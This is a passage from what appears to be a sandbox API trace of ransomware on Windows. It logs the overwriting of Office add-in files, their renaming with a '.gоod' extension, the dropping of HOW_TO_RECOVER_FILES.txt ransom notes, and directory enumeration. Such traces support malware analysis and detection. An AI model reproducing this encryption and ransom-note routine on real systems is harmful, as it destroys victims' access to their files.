add-in\\cartridges\\trdtv2r41.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0252.478] GetFileType (hFile=0x864) returned 0x1 [0252.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0252.479] GetFileType (hFile=0x864) returned 0x1 [0252.479] WriteFile (in: hFile=0x864, lpBuffer=0x38e95a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x38e95a0*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0252.479] CloseHandle (hObject=0x864) returned 1 [0252.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl", lpFilePart=0x0) returned 0x67 [0252.479] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.gоod", lpFilePart=0x0) returned 0x6c [0252.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0252.479] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1662bb01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92b491da, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6c52)) returned 1 [0252.479] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0252.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\trdtv2r41.xsl.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\trdtv2r41.xsl.gоod")) returned 1 [0252.481] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x72 [0252.481] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0252.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\cartridges\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0252.482] GetFileType (hFile=0x864) returned 0x1 [0252.482] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0252.482] GetFileType (hFile=0x864) returned 0x1 [0252.482] WriteFile (in: hFile=0x864, lpBuffer=0x3a5a168*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3a5a168*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0252.483] CloseHandle (hObject=0x864) returned 1 [0252.483] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0252.483] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs", lpFilePart=0x0) returned 0x51 [0252.483] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ace0 [0252.648] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.648] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16677f4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1108, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa879350, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x765018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x765018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x765018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0252.649] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa937f07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6034d6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6034d6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8080, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc3e44f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42b29f3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19ae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0252.650] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0063153, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0089415, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0252.651] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x86f312a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86f312a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0252.651] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9a04f26, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9a04f26, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9a04f26, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0252.651] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcc3c8ab, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcc3c8ab, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcc62b13, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0252.651] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x897b914, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x897b914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x97c9c99, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0252.651] FindNextFileW (in: hFindFile=0x134ace0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0252.651] FindClose (in: hFindFile=0x134ace0 | out: hFindFile=0x134ace0) returned 1 [0252.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0252.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0252.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0252.651] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs", lpFilePart=0x0) returned 0x51 [0252.652] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a7a0 [0252.652] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.652] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16651cf9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16677f4b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1108, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0252.652] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcb7dd00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcb7dd00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfcb7dd00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0252.652] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa853100, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa853100, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa879350, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39088, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0252.652] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13a90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0252.653] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x765018, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x765018, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x765018, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0252.653] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6297232, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6297232, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6297232, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0252.653] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ca90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0252.653] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf13037fa, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0252.653] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa937f07, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfae22cc9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4c050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0252.653] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6034d6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6034d6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x605aed7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0252.654] FindNextFileW (in: hFindFile=0x134a7a0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4d48116, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4d48116, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, 